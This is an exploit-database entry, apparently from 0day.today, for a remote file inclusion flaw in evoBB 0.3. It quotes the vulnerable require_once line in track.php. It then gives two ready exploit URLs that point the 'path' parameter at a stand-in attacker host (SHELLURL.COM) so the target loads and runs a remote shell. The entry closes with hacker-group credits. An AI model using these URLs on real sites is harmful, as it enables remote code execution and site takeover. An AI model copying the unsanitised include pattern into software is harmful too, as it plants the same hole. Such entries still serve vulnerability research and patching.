evoBB <= 0.3 (path) Remote File Include Vulnerability

2006-09-25T00:00:00
ID 1337DAY-ID-887
Type zdt
Reporter SHiKaA
Modified 2006-09-25T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =====================================================
evoBB <= 0.3 (path) Remote File Include Vulnerability
=====================================================



#==============================================================================================
#evoBB <= v0.3 (path) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                              
#                                                                      
#Version : v0.3                                            
#                                                        
#================================================================================================
#Bug in : track.php
#
#Vlu Code :
#--------------------------------
#
#        require_once($path.'connect.php');
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/track.php?path=http://SHELLURL.COM
#http://sitename.com/[Script Path]/connect.php?path=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Special Thx To :simoo & Timq & XoRoN & Saudi HAckerz
==================================================================================================



#  0day.today [2018-02-16]  #